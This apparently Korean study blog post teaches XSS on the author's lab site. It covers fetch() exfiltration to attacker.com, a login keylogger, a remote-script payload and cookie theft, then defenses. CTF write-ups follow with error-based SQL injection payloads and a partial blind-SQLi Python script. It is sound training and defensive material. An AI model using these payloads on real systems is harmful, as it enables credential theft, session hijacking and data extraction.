XSS는 Cross(X) Site Scripting의 줄임말로, 클라이언트 측에 스크립트를 삽입하여 중요한 정보를 탈취하는 해킹 기법이다. 사용자의 입력이 HTML 파일 내에 담기거나 Javascript와 같은 스크립트 언어에 의해 출력이 되는 지점에서 해당 공격이 발생할 수 있다. 해당 기법으로는 다른 사용자의 인증 정보인 세션 ID를 탈취하거나, 키로거(Key Logger)를 삽입하여 실제 로그인 정보(ID와 Password 등)를 가로챌 수 있다.

XSS는 `Stored XSS`, `Reflected XSS`, `DOM-Based XSS`로 크게 세 가지 종류의 기법이 존재한다.

타겟 사이트

로그인하여 글을 올릴 수 있는 커뮤니티 형식의 사이트다. 기본적으로 사이트를 이용하기 위해서는 로그인이 필요하다.

login.php

해당 페이지에서는 단순하게 ID와 PW를 입력하여 로그인을 할 수 있다. 또한 `Sign Up`을 클릭하여 회원가입 또한 가능하다.

없는 ID로 로그인을 시도하면 위와 같이 "No ID `[시도한 아이디]` in DB"라는 알림창이 뜬다.

signup.php

해당 페이지에서는 이름, E-mail, ID, PW를 입력하여 회원가입을 할 수 있다.

로그인을 하면 바로 이 board.php 페이지로 넘어오게 된다. DB에 저장된 여러 글들이 5개씩 나온다.

검색 기능이 구현되어 있으며, 제목을 클릭하면 해당 글을 읽을 수 있는 페이지로 넘어간다.

`New Post` 버튼을 누르면 새 글을 작성할 수 있다.

`Log Out`를 클릭하면 로그아웃이 되며, login.php로 돌아가게 된다.

글을 검색하면 URL 파라미터에 검색어가 들어가며, 해당 단어가 포함된 모든 글을 출력한다. (페이지가 4개인 것은 버그다)

검색어에 대한 결과가 없으면 "No result from [검색어]"라는 문구가 출력된다.

read_post.php

board.php에서 제목을 클릭하면 이 read_post.php로 이동하게 되는데, 뒤에 붙은 `postNo` 파라미터의 값에 따라 글이 출력된다.

해당 페이지에서는 단순하게 글의 제목과 내용을 출력해주기만 한다.

상단의 Home 글자를 클릭하면 board.php로 돌아갈 수 있다.

new_post.php

board.php에서 `New Post` 버튼을 클릭하면 이 페이지로 이동한다.

위의 한 줄짜리 입력칸 <input>에는 제목을, 큰 <textarea>에는 글의 내용을 작성하여 `Post` 버튼을 클릭해 글을 등록할 수 있다.

mypage.php

이 페이지는 버튼을 클릭해서 접속할 수 있는 경로가 존재하지 않지만 URL을 직접 입력함으로써 접속할 수 있다.

해당 페이지에서는 사용자의 모든 정보를 출력한다.

Stored XSS

Stored XSS(저장형 XSS)는 서버 DB에 악성 스크립트를 저장해두는 방식으로 공격을 시도한다. 

예를 들어 악성 스크립트를 담은 글을 작성하면 DB에 해당 글이 저장되고, 다른 사용자가 그 글을 읽을 때 스크립트가 작동하는 방식이다. 커뮤니티 형식의 사이트에서 보통 글은 DB에 저장이 되기 때문에 Stored XSS의 가능성이 있다.

Example

앞서 소개한 사이트에서 예를 들어보겠다.

여기서 13번째 글, `i`라는 제목을 가진 글에 들어가보면 다음과 같은 글이 존재한다.

단순히 심심해보이는 표정이 담긴 글이라고 생각할 수 있다. Burp Suite를 통해 정확히 어떤 패킷을 받았는지 확인해보겠다.

화살괄호(`<`, `>`)와 따옴표(`'`)가 아무 필터링 없이 왔다. 화살괄호와 따옴표에 대한 필터링이 없다는 것은 글을 작성할 때 임의의 태그를 생성하거나 태그의 속성을 수정할 수 있음을 시사한다.

그렇다면 `script` 태그를 포함한 글을 작성하여 `alert()`가 실제로 작동하는지 테스트해보겠다.

방금 작성한 글은 18번째 글이다. 해당 제목을 클릭하여 들어가보면

`alert()` 알림창이 뜨는 것을 확인할 수 있다. read_post.php 페이지에 XSS 취약점이 존재한다는 것을 알 수 있다. 이러한 취약점을 이용해 DB에 악의적인 스크립트를 담아 클라이언트 측에서 실행하는 것이 Stored XSS이다. 

Reflected XSS

Reflected XSS(반사형 XSS)는 악성 스크립트를 서버에 저장하지 않고 입력이 그대로 반사되어 출력되는 곳에서 발생한다.

예를 들어, 로그인 페이지에서 없는 ID를 입력했을 때 "~라는 ID는 존재하지 않습니다."와 같이 사용자의 입력이 그대로 출력된다면 Reflected XSS가 발생할 수 있다.

Example

위에서 사이트를 설명할 때 login.php에서 없는 ID로 로그인하면 어떤 응답이 돌아오는지 보였다.

해당 알림이 정확히 어떻게 뜨는 것인지 Burp Suite를 통해 확인해보면 다음과 같다.

이렇게 사용자의 입력이 응답에 그대로 들어가게 되면 SQL Injection 때와 마찬가지로 Injection이 가능하다.

');alert('hello');//

라는 입력을 id 파라미터로 전달하게 되면 `alert()` 알림창이 총 두 번 뜨게 될 것이다.

실제로 응답받은 패킷을 확인해보면 다음과 같다.

하지만 Reflected XSS는 이렇게 반사되는 것만으로 위험하지는 않다. 스크립트를 직접 입력창에 입력을 해야지만 작동하기 때문이다. 

Reflected XSS가 다른 사용자에게도 제기능을 하려면 반드시 GET 요청이여야만 한다. GET 요청이면 파라미터들을 URL에 직접 담을 수 있기 때문이다. 위에서 든 예시는 POST 요청이였지만, POST 요청, GET 요청을 전부 받아주는 사이트일 수도 있다.

GET 요청으로도 작동하는 페이지라면 위와 같이 URL에 파라미터를 삽입할 수 있다. GET으로도 동작한다면 공격 링크를 생성할 수 있다. `192.168.96.135:1094/login.php?id=%27%29%3Balert%28%27hello%27%29%3B%2F%2F&pw=noPW`로 들어가게 되면 의도한 스크립트가 실행되는 것이다.

DOM-Based XSS

Reflected XSS를 생각하고 입력이 돌아오는(반사되는) 지점을 찾았다고 가정해보자. 

Burp Suite로 응답패킷을 살펴보다보면 분명 패킷에는 입력값이 존재하지 않는데, 브라우저에서는 입력값이 반사되어 출력되는 경우가 존재할 수 있다. 해당 경우는 Javascript와 같은 스크립트 언어를 이용해 입력값을 출력했을 가능성이 존재한다.

Example

사용자의 입력이 반사되는 곳은 로그인 이외에 한 군데가 더 있었다.

board.php에서 검색어를 입력했을 때, 그 검색어에 대한 결과가 없으면 사용자의 입력이 반사됐다.

Reflected XSS가 가능한지 알아보기 위해 응답 패킷을 살펴보면 다음과 같다.

분명 브라우저에서는 'hmmm'이라는 글자가 출력되고 있는데, 응답 패킷에는 해당 글자가 존재하지 않는다.

응답 패킷을 좀더 살펴보면 다음과 같은 스크립트 태그가 존재하는 것을 확인할 수 있다.

해당 코드는 현재 URL에서 파라미터를 가져와 `document.write()` 함수를 통해 페이지에 출력을 해주는 코드다.

`document.write()` 함수의 위험한 점은 그냥 HTML 문서에 파라미터를 아무 필터링 없이 그대로 넣는다는 것이다. 즉, `<script>` 태그를 꾸겨넣을 수 있다는 것이다.

이렇게 응답 패킷에 입력이 그대로 출력되는 지점이 없더라도 스크립트 언어에 의해 반사되는 것을 이용해 XSS를 하는 것을 DOM-Based XSS이다. Reflected XSS와 마찬가지로 URL을 생성해 공격할 수 있다.

XSS를 이용한 데이터 탈취

공격자들이 XSS 취약점을 이용해 `alert()`만 띄우고 끝나지는 않을 것이다. 실제로 해당 취약점을 이용해 어떤 정보를, 어떻게 탈취할 수 있는지 알아보겠다. 

기본적으로 데이터를 탈취하기 위해서는 피해자로부터 얻어낸 데이터를 공격자에게 전송할 필요가 있다. 공격자의 서버에 접속만 할 수 있다면 데이터를 전송할 수 있다. 

var got_data = "blahblah";
// got_data를 얻어낸 데이터라고 가정
fetch('http://attacker.com/listen.php?data=' + got_data);

예를 들어 위와 같은 코드를 삽입한다고 하면, 얻어낸 데이터를 listen.php의 파라미터로 보내 공격자의 서버 `attacker.com`에서 데이터를 전송 받아낼 수 있는 것이다. `fetch()` 함수를 사용하는 것 이외에도 `<img>` 태그를 이용하는 등의 다양한 방법으로 공격자 서버로 데이터를 전송할 수 있다.

키로거 (Key Logger)

앞서 login.php에 XSS 취약점이 존재한다는 것을 확인했다. 로그인을 하는 곳에 이러한 XSS 취약점이 존재하면 키로거를 삽입해 사용자가 로그인을 하는 과정에서 로그인 정보를 가로챌 수 있다.

없는 ID로 로그인을 시도했을 때 돌아오는 응답 패킷이다. 사용자의 특수문자를 포함한 입력이 아무 필터링 없이 그대로 반사되고 있는 모습을 보이고 있다. 즉, Reflected XSS의 취약점이 존재하는 것이다. 

const inputs = document.querySelectorAll('input');
const form = document.querySelector('form');
form.onsubmit = async (e) => {
	await fetch('https://attacker.com/listen.php?id=' + inputs[0].value + '&pw=' + inputs[1].value).then((e) => { return true; });
	return false;
};

위의 스크립트를 이용하면 사용자가 로그인을 하는 시점에 input 태그에 입력한 값들을 공격자 서버로 전송할 수 있다.

함수를 비동기로 설정함으로써 사용자가 의심하지 못하도록 공격자의 서버로 데이터를 전송한 직후 로그인이 정상적으로 처리되게끔 하였다. 

공격 payload는 다음과 같다.

ID: </script><script defer src="https://attacker.com/script.js"> console.log('

공격자는 자신의 서버에 키로거 스크립트를 미리 준비해뒀다가 제공할 수 있다. 

입력한 ID는 `alert()`로부터 벗어나 <script> 태그를 닫고 다른 <script> 태그를 열어 외부로부터 js 파일을 받아온다.

공격자 서버로부터 받아온 스크립트는 자동으로 실행되어 제출 버튼에 원래와는 다른 기능이 심어지게 된다.

로그인을 시도하면 공격자의 서버로 ID와 PW를 파라미터에 담아 보내게 된다.

또한 로그인이 성공적으로 진행이 되어 사용자는 자신의 로그인 정보가 탈취당했다는 사실을 알아채기 힘들다.

해당 사이트의 login.php는 POST 이외에 GET 요청으로도 작동한다. 즉, Reflected XSS 취약점에 의한 공격 URL을 만들 수 있다.

http://192.168.96.135:1094/login.php?id=%3C%2Fscript%3E%3Cscript+defer+src%3D%22https%3A%2F%2Fattacker.com%2Fscript.js%22%3E+console.log%28%27&pw=go

해당 링크(당연히 여기서는 작동하지 않는다)를 타고 들어가서 로그인을 시도하면 로그인 정보가 공격자 서버로 전송된다.

위의 HTTP/HTTPS 통신 기록은 ① 감염된 URL을 타고 들어가, ② 로그인을 시도하여 공격자 서버로 로그인 정보가 넘어간 후, ③ 최종적으로 원래 사이트에서의 로그인이 성공적으로 이뤄져 board.php로 리다이렉션되는 과정을 보여준다.

Cookie(세션 ID) 탈취

Cookie

클라이언트는 서버에게 요청을 할 때마다 자신이 자신임을 인증해야 한다. 그렇다고 페이지를 요청할 때마다 로그인을 할 수 없으니 cookie라는 것을 사용하기 시작했다. HTTP 패킷 헤더에 `Cookie: user=nciwo`와 같이 적어 서버가 자신을 `nciwo`라는 사용자임을 인식하도록 하였다. 하지만 해당 방법에는 치명적인 결함이 존재한다. `nciwo`라는 ID를 소유하고 있지 않은 사용자가 자신의 cookie를 `nciwo`로 변조해서 속일 수 있다. 

이러한 점을 개선한 것이 세션 ID다.

세션 ID

세션 ID 또한 HTTP 패킷 헤더에 `Cookie: PHPSESSID=1k75pv8oojb8fe2hjmbpbe077a`와 같이 적는다. 서버에는 해당 값을 가진 사용자의 ID를 저장해둔다. 그럼 해당 ID를 소유한 사용자는 ID 대신 `1k75pv8oojb8fe2hjmbpbe077a`라는 값을 이용해 자신임을 인증할 수 있게 된다. 이 문자열은 처음 서버가 응답할 때 랜덤하게 생성되므로 다른 사용자는 이 값을 쉽게 추측할 수가 없다.

세션 ID 탈취

다른 사용자의 세션 ID를 알 수 있다면 해당 사용자로 위장하여 로그인이 가능하다. XSS로 다른 사용자의 브라우저에 접근할 수 있다는 점을 통해 세션 ID를 탈취할 수 있다. 세션 ID는 보통 cookie에 저장되므로, 클라이언트의 모든 cookie 값들을 공격자의 서버로 전송하면 된다.

아까 read_post.php에 XSS 취약점을 찾았던 것을 이용해 <script> 태그를 포함한 공격 스크립트를 작성한다. 해당 글은 `nciwo`라는 ID를 가진 사용자로 작성되었다. 

`admin`이라는 ID를 가진 사용자로 접속해 해당 글(19번째 글 'Come on')을 클릭하면 `admin`의 세션 ID가 공격자의 서버로 전송될 것이다.

`PHPSESSID`, 즉, 세션 ID가 공격자 서버로 전송되었다. 해당 값을 받은 공격자는 자신의 쿠키를 변조해서 자신이 `admin`인냥 접속할 수 있을 것이다.

이렇게 `PHPSESSID`의 값을 변조한 뒤 mypage.php로 접속하면

원래는 `nciwo`였던 사용자가 `admin`의 계정으로 접속에 성공했다.

페이지 탈취

사용자의 민감한 정보가 담긴 페이지가 존재한다면, 해당 페이지를 탈취하는 것 또한 생각해볼 수 있다.

예제 사이트에서는 mypage.php라는 페이지에서 사용자의 민감한 정보를 출력한다. 

read_post.php에서의 XSS 취약점을 이용해 해당 글을 읽는 사용자들의 mypage.php 내용을 공격자의 서버로 전송하는 스크립트를 삽입했다. 어그로성 제목을 설정함으로써 글을 읽도록 유도했다.

이번 글 또한 `nciwo` ID로 작성됐다.

`admin`이라는 ID를 가진 사용자가 공짜 유튜브 프리미엄을 참지 못하고 글을 읽으러 들어가게 되면,

자신의 mypage.php 페이지를 통째로 공격자의 서버로 전달하게 된다.

대응 방법

XSS 공격에 대한 대응 방법에는 여러가지가 있을 수 있지만, 가장 원론적으로 차단할 수 있는 방법이 존재한다. 지금까지 클라이언트 측 스크립트 삽입은 HTML 특수문자에 의해 발생해왔다. 그렇다면 HTML 특수문자를 막아버리면 된다. 하지만 해당 특수문자들은 원래부터 사용해오던 특수문자이기 때문에 그냥 막을 수는 없다. 그래서 사용하게 된 것이 HTML Entity이다.

HTML Entity

HTML Entity는 `&[entity_name];` 또는 `&#[entity_number];`의 형태로 여러 문자들을 표현하는 하나의 방식이다. 

예를 들어, `&lt;` 또는 `&#60;`라고 쓰면 브라우저는 이를 `<`로 해석한다. 하지만 브라우저는 해당 `<`를 HTML 태그로 인식하지는않는다. 가령 `&lt;script&gt;`라는 문자열이 있으면 비록 사용자에게 `<script>`라고 출력해주겠지만 브라우저는 여전히 해당 문자열을 태그의 형태가 아닌 날 것 그대로 `&lt;script&gt;`라고 읽을 뿐이다. 

꼭 보안만을 위해 등장한 것은 아니지만 이 HTML Entity는 XSS를 막는 데 있어 굉장히 효과적이다. XSS 취약점에서 공격을 하기 위해 `<`, `>`, `'`, `"` 이 넷 중 하나는 사용하게 돼있다. 하지만 이 네 개의 특수문자들을 전부 HTML Entity로 처리해버린다면 XSS에서의 핵심인 클라이언트 측 스크립트 삽입을 원천적으로 차단할 수 있게 된다. 

Example

XSS 취약점이 발견된 read_post.php에서 코드를 수정해 XSS에 이용될 가능성이 있는 특수문자들을 HTML Entity로 변환해보겠다.

<div>
    <h1><?php 
            echo $post_info['title'];
         ?></h1>
    <p><?php
             echo $post_info['content'];
        ?></p>
</div>

이전에 사용되던 코드는 위와 같다. 하지만 `htmlspecialchars()` 함수를 이용한다면 `&`, `'`, `"`, `<`, `>` 5개의 특수문자들을 HTML Entity로 치환해준다.

<div>
    <h1><?php 
            echo htmlspecialchars($post_info['title']);
         ?></h1>
    <p><?php
             echo htmlspecialchars($post_info['content']);
        ?></p>
</div>

해당 함수를 적용한 코드는 위와 같다.

위의 글을 작성하여 읽으러 들어갈 때 `alert()`가 작동한다면 여전히 XSS 취약점이 존재하는 것이다.

`alert()` 함수가 작동하기는커녕 글 작성자가 옹졸하게 공격을 시도했다는 사실이 만천하에 드러나게 됐다.

실제로 응답받은 패킷을 살펴보면 `<`와 `>`, 그리고 `'`가 각각 `&lt;`, `&gt;`, `&#039;`로 되어있는 것을 확인할 수 있다.

HttpOnly Cookie

사이트가 커지면 커질수록 XSS 취약점 포인트를 전부 알아내기 힘들 수 있다. 혹시나 뚫려버릴지도 모르는 XSS에 대해 적어도 세션 ID라도 지킬 필요가 있다. Cookie에는 다양한 옵션이 있는데, 그 중에서도 XSS의 공격으로부터 쿠키를 보호할 수 있는 옵션인 `HttpOnly` 옵션이 있다. 

서버가 클라이언트에게 쿠키를 지정해줄 때 `HttpOnly` 옵션을 적용시킨다면 클라이언트는 스크립트 언어로 쿠키에 접근할 수 없게 된다. 원래라면 Javascript의 경우 `document.cookie`를 통해 모든 쿠키의 값들에 접근이 가능하지만, `HttpOnly` 옵션이 적용된 쿠키에서만큼은 예외다. 

서버에서 세션을 시작할 때 `HttpOnly`를 적용시켜준다면 클라이언트에서 위와 같은 응답 패킷을 받을 수 있다.

① `HttpOnly`로 적용되어, ② `document.cookie`로는 세션 ID가 나오지 않는다.

페이지 보호

아무리 `HttpOnly`를 적용했다고 해도 로그인 정보가 안 털리는 것은 아니다. mypage.php에서 모든 로그인 정보를 보여주는 것을 확인했다. 세션 ID보다 더 중요한 정보는 여전히 유출될 가능성이 존재한다. 따라서 이와 같이 민감한 정보는 접속하자마자 보여주지 않아야 한다. 

민감한 정보를 보호하기 위해 취할 수 있는 가장 간단한 방법으로는 인증을 다시 하는 것이다.

단순히 mypage.php에 접속하면 비밀번호를 다시 입력하게 하는 것이다.

로그인에 성공해야지만 사용자의 정보를 알 수 있다.

로그인에 실패하면 인증 실패라는 문구와 함께 사용자의 정보를 제공하지 않는다.

Case of HTML Editor

HTML Entity만 있으면 만사 OK라고 생각할 수 있다. 하지만 일부 상황에서는 HTML Entity를 사용할 수 없을 수도 있다. 가장 대표적인 예시로는 HTML Editor가 있다. 애초에 글을 HTML 방식으로 쓸 수 있게 하고 싶은 게시판의 경우, HTML Entity로 치환해버린다면 HTML Editor로써의 의미가 퇴색돼버린다. 해당 글을 작성하고 있는 tistory에서도 HTML Editor가 존재한다. 웬만해서는 HTML Editor 기능을 안 두는 것이 좋지만, 그럼에도 불구하고 필요하다면 다음의 과정을 거치는 것을 권장한다.

1. 입력에서의 HTML 특수문자들을 전부 HTML Entity로 치환
2. `<img>`, `<svg>`, `<h1>` 등의 자주 사용되는 태그들은 HTML Entity -> HTML 특수문자로 되돌려놓음
3. `onerror`, `onload`, `onmouseover` 등의 악의적으로 사용될 여지가 있는 Event Handler들은 전부 삭제

1. SQL Injection 3

평범한 로그인 페이지로 보인다. 먼저, User ID와 Password 필드에 `normaltic`, `1234`를 입력해 로그인이 성공적으로 되는 것을 확인해보겠다.

정상적으로 로그인이 이뤄진다. 실패했을 경우의 상황을 살펴보겠다.

ID: normaltic
PW: hmm

일치하지 않는 정보라고 뜬다. 그럼 이제, SQLi가 가능한지 테스트해보겠다.

ID: normaltic'
PW: 1234

SQL 쿼리에 대한 에러 메시지가 페이지에 출력된다.

에러 메시지가 출력되는 것을 확인했으니, Error-based SQLi로 방향을 잡아보겠다.

Error-based SQLi

에러 메시지를 읽다보면 해당 DBMS는 MySQL인 것을 알 수 있다. MySQL에서 Error-based SQLi를 수행할 때 사용되는 `ExtractValue()` 함수를 사용하도록 하겠다. 

Template

SQLi를 함에 있어서 복잡한 쿼리를 작성하게 될 것이다. 실수를 미연에 방지하기 위해 템플릿을 미리 만들어두도록 하겠다.

ID: normaltic' AND ExtractValue('1', CONCAT('.', (____))) #
PW: 1234

앞으로 (____)의 밑줄 자리에 얻고자 하는 문자열이 나오도록 SQL 쿼리를 짤 것이다. 작동이 되는지 확인해보기 위해 다음의 쿼리를 넣어보겠다.

SELECT 'hi'

↓

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT 'hi'))) #

원하는대로 `'hi'`가 출력됐다.

이렇게 템플릿은 완성이 됐다.

Database Name

이제부터 UNION SQLi를 하듯이 진행하면 된다.

데이터베이스의 이름을 가져오고 싶다면 템플릿에 다음의 내용을 넣기만 하면 된다.

SELECT Database()

↓

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT Database()))) #

DB의 이름이 `sqli_2`인 것을 알아냈다.

Table Name

테이블은 여러개일 수 있다. 따라서 LIMIT을 활용하여 하나의 행만 나올 수 있도록 조절해줘야 한다.

SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_2' LIMIT 0,1

↓

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_2' LIMIT 0,1))) #

다른 테이블을 더 찾아보면 `member`라는 테이블이 존재하는 것을 확인할 수 있다.

Column Name

`member`라는 테이블은 Flag와 별로 관련이 없어보이니, `flag_table`의 칼럼을 찾아보겠다.

SELECT column_name FROM information_schema.columns WHERE table_name='flag_table' LIMIT 0,1

↓

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT column_name FROM information_schema.columns WHERE table_name='flag_table' LIMIT 0,1))) #

더 찾아보면 `flag` 칼럼 하나만이라는 것을 알 수 있다.

칼럼의 이름도 알아냈으니 이제 Flag만 알아내면 된다.

Flag

SELECT flag FROM flag_table LIMIT 0,1

↓

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT flag FROM flag_table LIMIT 0,1))) #

첫번째 행에서 바로 Flag가 나와버렸으니 다른 행은 더 조사하지 않겠다.

2. SQL Injection 4

바로 전 문제와 똑같이 생긴 페이지다.

로그인 테스트, SQLi 테스트를 해보면 전 문제와 똑같이 SQLi가 가능하다는 것을 알 수 있다.

ID: normaltic'
PW: 1234

아까처럼 에러를 일으켰을 때, 똑같이 에러 메시지를 출력하는 것을 알 수 있다.

Error-based SQLi

이전 문제에 사용한 템플릿을 다시 사용해 시도해보겠다.

SELECT 'normaltic'

↓

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT 'normaltic'))) #

아까 사용했던 템플릿이 여전히 사용 가능하다.

그럼 SQLi를 이전 문제와 똑같은 방식으로 진행해보겠다.

Database Name

SELECT Database()

↓

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT Database()))) #

`sqli_2_1`, DB의 이름이 약간 다르다.

Table Name

SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_2_1' LIMIT 0,1

↓

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_2_1' LIMIT 0,1))) #

더 찾아보면, `member`라는 테이블이 하나 더 있다.

`member` 테이블은 일단 무시하고 진행하겠다.

Column Name

SELECT column_name FROM information_schema.columns WHERE table_name='flag_table' LIMIT 0,1

↓

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT column_name FROM information_schema.columns WHERE table_name='flag_table' LIMIT 0,1))) #

`flag1`? 여러 개의 칼럼인가? 더 찾아보겠다.

불길하다.. 찾아도 찾아도 끝이 나질 않는다.

칼럼의 개수를 파악해보겠다.

SELECT COUNT(*) FROM information_schema.columns WHERE table_name='flag_table'

↓

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='flag_table'))) #

8개나 있다.

아마 이름이 전부 `flag1`, `flag2`, `flag3`, ... , `flag8` 이런 식으로 진행될 것으로 보인다.

Flag

저 칼럼을 전부 조사하는 건 귀찮을 것 같다.

따라서 한 번에 모든 칼럼을 볼 수 있게 `CONCAT_WS()`라는 함수를 사용할 것이다. 

이 함수를 사용하면 여러 문자열을 구분자를 통해 구별하여 하나의 문자열로 묶을 수 있다.

SELECT CONCAT_WS(', ', flag1,flag2,flag3,flag4,flag5,flag6,flag7,flag8) FROM flag_table LIMIT 0,1

↓

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT CONCAT_WS(', ', flag1,flag2,flag3,flag4,flag5,flag6,flag7,flag8) FROM flag_table LIMIT 0,1))) #

오히려 구분자를 넣으니 알아보기 힘든 Flag가 됐다. 심지어 Flag가 너무 길어서 잘렸다.

`flag1` ~ `flag4`, `flag5` ~ `flag8`을 따로따로 출력한 뒤에 이어붙여보겠다.

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT CONCAT(flag1,flag2,flag3,flag4) FROM flag_table LIMIT 0,1))) #

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT CONCAT(flag5,flag6,flag7,flag8) FROM flag_table LIMIT 0,1))) #

3. SQL Injection 5

불안하게 웃고 있다.

페이지는 전과 동일하다.

SQL 쿼리에 오류를 일으켰을 때 에러메시지가 출력되는 것까지도 전과 동일하다.

에러메시지가 출력된다는 점을 근거로 Error-based SQLi를 진행해보겠다.

Error-based SQLi

이전 템플릿을 다시 사용해보겠다.

normaltic' AND ExtractValue('1', CONCAT('.', (____))) #

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT 'normaltic'))) #

Error-based SQLi가 먹히는 듯하다.

Database Name

SELECT Database()

↓

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT Database()))) #

DB의 이름은 `sqli_2_2`다.

Table Name

SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_2_2' LIMIT 0,1

↓

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_2_2' LIMIT 0,1))) #

테이블을 더 찾아보면, 이번에도 `member`라는 테이블만이 더 존재한다.

이번에도 무시하겠다.

Column Name

SELECT column_name FROM information_schema.columns WHERE table_name='flagTable_this' LIMIT 0,1

↓

normaltic' AND ExtractValue('1', CONCAT('.', (SELECT column_name FROM information_schema.columns WHERE table_name='flagTable_this' LIMIT 0,1))) #

`idx`라는 칼럼이 발견됐다. 이름으로 추정컨대, A.I(Auto Increment)가 적용된 단순 인덱스일 것 같다.

더 찾아보면, `flag`라는 칼럼이 존재한다.

일단 `idx` 칼럼은 무시하겠다.

Flag

SELECT flag FROM flagTable_this LIMIT 0,1

↓

normaltic' AND ExtractValue('1', CONCAT(':', (SELECT flag FROM flagTable_this LIMIT 0,1))) #

?

플래그가 나에게 말을 걸어온다.

`LIMIT`의 인덱스를 1씩 높여가며 다음 행을 계속해서 얻어와 보겠다.

1. hello
2. What are you looking for?
3. hahahahaha
4. Funnnyyyyyyy
5. hahahahaha
6. Funnnyyyyyyy
7. gogogo
8. moremoremoremore
9. I will Not Give you flag
10. Get Away
11. kkkkkkk
12. -_-
13. breeeeeg
14. segfault{모자이크}
15. kakakakakaka
16. I gave you flag
17. go home

안 준다면서 결국 주는 츤데레다.

4. SQL Injection 6

페이지 자체는 4개의 문제 전부 똑같이 생겼다.

하지만 이번 문제는 약간 다르다. SQLi가 가능하다는 점은 전 문제들과 다름이 없지만,

ID: normaltic'
PW: 1234

SQL의 문법 오류에 대해 에러 메시지를 출력해주지 않는다.

SQLi는 가능하지만 어떠한 정보도 출력해주지 않는 상황에서는 Blind SQL Injection을 사용하면 된다.

Blind SQLi

ID: normaltic' and 1=1 #
PW: 1234

이 입력은 정상적인 로그인과 같은 결과를 도출한다.

그 때, 서버는 클라이언트를 다른 페이지로 리다이렉션시킨다.

ID: normaltic' and 1=2 #
PW: 1234

로그인 실패에 대해서는 클라이언트를 리다이렉션시키지 않는다.

그저 정보 불일치라는 경고를 띄운다.

이는 Burp Suite를 통해 확실히 알 수도 있다.

이는 로그인 성공 과정이다. Status Code가 `302`인 것을 볼 수 있다.

이번엔 로그인이 실패했을 때 주고받는 패킷이다. Status Code가 `200`인 것을 볼 수 있다.

성공 / 실패를 판가름할 기준을 알았으니 이제 Blind SQLi를 해볼 차례다.

수작업

normaltic' and (SELECT ASCII(SUBSTR(Database(),1,1)))>79 #

앞으로 비밀번호는 `1234`로 고정해서 보내야한다. 로그인의 성공 여부가 글자를 알아내는 데의 기준이 되기 때문이다.

통상적으로 사용되는 문자들은 10진수 아스키 코드로 32(공백 문자)부터 126(~)까지이다. 아스키 코드 테이블은 여기를 참고하자.

32와 126의 중간값인 79를 기준으로 DB명의 첫글자의 아스키값이 몇일지 가늠해보겠다.

만약 로그인이 된다면 첫글자는 80(P)부터 126(~) 사이의 문자들 중 하나일 것이다.

로그인이 성공적으로 됐다.

이것은 첫글자가 P와 ~사이에 존재한다는 것이다.

이번엔 80과 126의 중간값인 103을 기준으로 해보겠다.

normaltic' and (SELECT ASCII(SUBSTR(Database(),1,1)))>103 #

또다시 로그인에 성공했다.

이건 첫글자가 104(h)와 126(~) 사이에 존재한다는 것을 의미한다. 다음은 104와 126의 중간값인 115으로 해보겠다.

normaltic' and (SELECT ASCII(SUBSTR(Database(),1,1)))>115 #

로그인에 실패했다.

즉, 104(h)와 115(s) 사이에 존재한다는 것이다. 다음은 이 둘의 중간값 109로 해본다.

normaltic' and (SELECT ASCII(SUBSTR(Database(),1,1)))>109 #

로그인에 성공했다.

110(n)과 115(s) 사이에 존재한다. 다시 중간값 112로 시도해보겠다.

normaltic' and (SELECT ASCII(SUBSTR(Database(),1,1)))>112 #

로그인에 성공했다.

113(q)와 115(s) 사이에 존재한다. 또다시 중간값 114로 시도해보겠다.

normaltic' and (SELECT ASCII(SUBSTR(Database(),1,1)))>114 #

로그인에 성공했다.

DB이름의 첫글자는 114(r)보다 크고, 115(s)보다 작거나 같다.

즉, 115(s)라는 것이다.

이렇게 글자 하나를 얻어낼 수 있다.

...

수작업 노가다는 저번 글에서 했던 걸로 만족한다.

자동화

이제부터는 일을 컴퓨터에게 떠넘기겠다.

직접 만든 툴을 이용해 전부 얻어오면..

툴에 대한 설명은 추후에 따로 글을 작성하는 걸로 하고, 코드만 적어두도록 하겠다..

import requests
import math

url = "~~~/sqli_3/login.php"
pw = '1234'

def finder(key, lb, ub, pos):
    mid = math.floor((lb + ub) / 2)
    # print(f"Trying between {lb} and {ub}... mid: {mid}")
    id = f"normaltic' and (select ascii(substr(({key}),{pos},1))) >= {mid} #"
    datas = {
        'UserId': id,
        'Password': pw,
        'Submit': 'Login'
    }
    response = requests.post(url, data=datas, allow_redirects=False)
    if(response.status_code == 302):
        # print("T")
        if(lb == mid):
            s_id = f"normaltic' and (select ascii(substr(({key}),{pos},1))) = {mid} #"
            s_datas = {
                'UserId': s_id,
                'Password': pw,
                'Submit': 'Login'
            }
            s_response = requests.post(url, data=s_datas, allow_redirects=False)
            if(s_response.status_code == 302):
                return chr(mid)
            else:
                return chr(mid + 1)
        return finder(key, mid, ub, pos)
    else:
        # print("F")
        return finder(key, lb, mid, pos)

def blindSQLi(key):
    result = ""
    checker = 0
    pos = 1
    while(True):
        id = f"normaltic' and (select ascii(substr(({key}),{pos},1))) > {checker} #"
        # print(f"Trying {id}...", end=' ')
        # print(result)
        datas = {
            'UserId': id,
            'Password': pw,
            'Submit': 'Login'
        }
        response = requests.post(url, data=datas, allow_redirects=False)
        if(response.status_code == 302):
            # print("T")
            if(checker == 0):
                checker = 126
            elif(checker == 126):
                result += '[?]'
                pos += 1
                checker = 0
            elif(checker == 96):
